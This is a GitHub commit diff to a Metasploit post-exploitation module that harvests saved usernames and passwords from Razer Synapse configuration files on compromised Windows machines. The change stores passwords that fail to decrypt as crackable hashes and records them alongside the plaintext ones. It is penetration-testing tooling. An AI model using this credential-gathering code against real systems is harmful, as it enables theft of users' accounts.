Skip to content

Commit fc14178

Browse files
committed
Support hash format
1 parent b038760 commit fc14178

File tree

1 file changed

+23
-7
lines changed

1 file changed

+23
-7
lines changed

modules/post/windows/gather/credentials/razer_synapse.rb

Lines changed: 23 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -71,9 +71,15 @@ def report_cred(opts)
7171
session_id: session_db_id,
7272
origin_type: :session,
7373
private_data: opts[:password],
74-
private_type: :password,
74+
private_type: opts[:type],
7575
username: opts[:user]
76-
}.merge(service_data)
76+
}
77+
78+
if opts[:type] == :nonreplayable_hash
79+
credential_data[:jtr_format] = 'ODF-AES-opencl'
80+
end
81+
82+
credential_data.merge!(service_data)
7783

7884
login_data = {
7985
core: create_credential(credential_data),
@@ -85,20 +91,25 @@ def report_cred(opts)
8591

8692
# Loop throuhg config, grab user and pass
8793
def get_creds(config)
88-
creds = {}
94+
creds = []
8995

9096
return nil if !config.include?('<Version>')
9197

9298
xml = ::Nokogiri::XML(config)
9399
xml.xpath('//SavedCredentials').each do |node|
94100
user = node.xpath('Username').text
95101
pass = node.xpath('Password').text
102+
type = :password
96103
begin
97104
pass = decrypt(pass)
98105
rescue OpenSSL::Cipher::CipherError
99-
# Eh, ok. We tried.
106+
type = :nonreplayable_hash
100107
end
101-
creds[user] = pass
108+
creds << {
109+
user: user,
110+
pass: pass,
111+
type: type
112+
}
102113
end
103114

104115
creds
@@ -121,14 +132,19 @@ def run
121132
# read the contents of file
122133
creds = get_creds(contents)
123134
unless creds.empty?
124-
creds.each_pair do |user, pass|
135+
creds.each do |c|
136+
user = c[:user]
137+
pass = c[:pass]
138+
type = c[:type]
139+
125140
print_good("Found cred: #{user}:#{pass}")
126141
report_cred(
127142
ip: razerzone_ip,
128143
port: 443,
129144
service_name: 'http',
130145
user: user,
131-
password: pass
146+
password: pass,
147+
type: type
132148
)
133149
end
134150
end

0 commit comments

Comments
 (0)